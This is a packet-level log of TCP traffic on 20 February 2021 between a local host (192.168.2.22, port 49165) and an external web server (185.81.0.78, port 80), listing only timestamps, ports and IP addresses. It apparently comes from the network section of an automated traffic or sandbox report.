Feb 20, 2021 09:48:08.805073977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805095911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805154085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805183887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805207968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805212021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805238962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805242062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805264950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805273056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805286884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805301905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805320024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805336952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805350065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805368900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805377960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805419922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805424929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805454016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805480003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805483103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805504084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805514097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805536032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805541039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805566072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805589914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805671930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805702925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805727005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805731058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805761099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805763006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805777073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805790901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805802107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805825949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805836916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805859089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805865049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805888891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805911064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805918932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805938959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805948973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805965900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.805977106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.805991888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806020021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806027889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806077957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806121111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806152105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806174994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806180954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806205034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806211948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806225061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806241989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806267023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806277990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806289911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806309938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806322098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806339979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806364059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806368113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806396961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806399107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.806422949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.806452990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.820951939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.821079016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.845854998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.845876932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.845889091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.845906019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.845921040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.845989943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846020937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846024990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846026897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846029043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846060038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846087933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846091986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846105099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846118927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846121073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846132040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846142054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846147060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846160889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846170902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846175909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846184015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846191883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846208096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846213102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846239090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846251011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846262932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846267939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846285105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846286058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846295118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846304893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846313000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846323967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846338034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846342087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846359015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846359968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846375942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846376896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846393108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846394062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846407890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846410990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846424103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846427917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846437931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846448898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846457958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846481085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846481085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846498966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846515894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846515894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846525908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846539974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846544981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846563101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846575022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846586943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846693993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846725941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846740007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846769094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846803904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846818924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846836090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846839905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846848011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846858978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846869946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846875906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846883059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846894979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846905947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846910954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846920967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846927881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.846941948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.846956015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847044945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847065926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847075939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847084999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847095013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847101927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847110033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847121000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847132921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847143888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847198963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847218037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847230911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847234011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847244024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847251892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847256899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847280979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847294092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847323895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847327948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847357988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847371101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847388983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847403049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847404003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847421885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847433090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847444057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847449064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847459078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847476959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847538948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847573042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847580910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847613096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847619057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847637892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847650051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847654104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847662926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847676992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847747087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847791910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847799063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847816944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847829103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847832918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847841024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847851038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847862005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847866058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847875118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847886086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847896099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847903013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847915888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847918034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847928047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847934961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847943068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847965956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.847975016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.847990036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848006964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848006964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848016977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848037004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848047018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848062992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848124981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848129988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848156929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848172903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848195076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848205090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848216057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848242998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848251104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848273039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848275900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848290920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848306894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848309994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848323107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848325014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848337889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848340988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848352909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848356009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848367929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848385096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848516941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848534107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848550081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848552942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848565102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848567963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848579884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848582983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848594904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848602057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848612070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848623037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848635912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848649979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848673105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848687887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848702908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848706961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848718882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848733902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848819971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848851919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848854065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848870039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848882914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848886967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848896980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848906040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848922968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848922968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848936081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848939896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848952055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848957062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848964930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.848973036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848989010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.848992109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.849003077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.849018097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851126909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851145983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851162910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851177931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851197004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851206064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851214886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851222992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851224899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851227045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851228952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851232052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851246119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851249933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851259947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851269007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851280928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851284981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851295948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851301908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851310015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851317883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851336002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851336956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851346970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851355076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851368904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851372957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851389885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851406097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851407051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851421118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851432085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851438046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851445913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851450920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851454973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851475000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851490974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851505995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851536036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851551056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851577044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851607084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851629019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851636887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851653099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851702929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851703882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851723909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.851738930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.851747990 CET	80	49165	185.81.0.78	192.168.2.22
